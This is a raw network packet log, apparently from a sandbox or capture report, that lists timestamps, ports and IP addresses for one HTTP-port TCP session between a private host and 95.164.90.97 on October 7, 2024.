Oct 7, 2024 21:18:37.736839056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736850977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736861944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736862898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736875057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736884117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736886978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736895084 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736902952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736908913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.736922026 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.736946106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737272978 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737283945 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737294912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737304926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737315893 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737346888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737508059 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737519026 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737529993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737540960 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737566948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737590075 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737648964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737660885 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737670898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737683058 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737694025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737704992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737709045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737716913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737728119 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737731934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737740040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737750053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737752914 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737765074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737766027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.737790108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.737811089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.738291025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.738301039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.738311052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.738317966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.738332033 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.738354921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.765289068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765324116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765340090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765355110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765356064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.765369892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765377998 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.765383959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765399933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.765408993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.765424013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.765445948 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.787511110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787565947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787601948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787626028 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.787656069 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.787692070 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787724972 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787756920 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787779093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.787791967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.787830114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.788048983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788081884 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788115025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788130045 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.788146019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788178921 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788182974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.788211107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788213015 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.788248062 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.788325071 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789052010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789154053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789165974 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789186954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789191961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789231062 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789237976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789269924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789278030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789303064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789344072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789345980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789380074 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789453983 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789485931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789519072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789526939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789552927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789712906 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789715052 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789745092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789752960 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789777040 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789788961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789809942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789817095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789841890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789865971 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789871931 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789880991 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789904118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789908886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789937973 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789969921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.789972067 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.789983988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790009975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790158987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790210009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790241957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790250063 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790275097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790297031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790323973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790328979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790378094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790406942 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790410042 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790420055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790446043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790486097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790487051 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790517092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790551901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790560007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790584087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790607929 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790630102 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790635109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790668011 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790700912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790750027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790755987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.790781975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790815115 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.790853024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821182966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821248055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821254969 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821288109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821295977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821403980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821438074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821470022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821477890 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821502924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821505070 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821536064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821563959 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.821577072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.821747065 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822253942 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822288036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822314978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822320938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822355032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822361946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822367907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822398901 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822408915 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822443008 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822443962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822477102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822509050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822515965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822540998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822572947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822607994 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822613001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822715998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822748899 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822755098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822781086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822813988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822818041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822865963 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822897911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822902918 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822916031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822937965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822947025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822952032 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.822978020 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.822987080 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823008060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823040962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823052883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823074102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823106050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823137999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823147058 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823169947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823203087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823235035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823271036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823287964 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823302984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823327065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.823333979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.823354006 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.824968100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825001955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825035095 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825047016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825069904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825089931 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825102091 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825134039 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825166941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825184107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825200081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825205088 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825233936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825267076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825299025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825303078 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825331926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825364113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825397015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825402021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825429916 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825463057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825480938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825495005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825526953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825552940 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825557947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825558901 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825593948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.825599909 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.825629950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.828349113 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.828402996 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847446918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847481012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847515106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847589016 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847599983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847615957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847649097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847681046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847683907 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847692013 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847716093 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.847723961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.847785950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.869657993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869757891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869772911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869805098 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.869829893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.869851112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869865894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869882107 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869895935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869910955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.869918108 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.869942904 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.870110989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870125055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870140076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870156050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870160103 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.870172024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870176077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.870188951 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.870192051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.870217085 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871057987 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871121883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871207952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871223927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871263027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871277094 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871290922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871310949 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871311903 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871345043 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871510029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871525049 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871537924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871552944 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871562004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871571064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871593952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871612072 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871726036 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871740103 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871756077 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871758938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871771097 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871786118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871925116 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871942043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871956110 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871969938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871985912 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.871990919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.871999979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872014999 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872031927 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872036934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872066021 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872247934 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872262001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872277021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872286081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872291088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872306108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872317076 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872320890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872334003 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872335911 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872354984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872375011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872801065 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872859955 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872874975 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872895002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872935057 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:37.872978926 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:37.872992992 CEST	80	49810	95.164.90.97	192.168.2.5
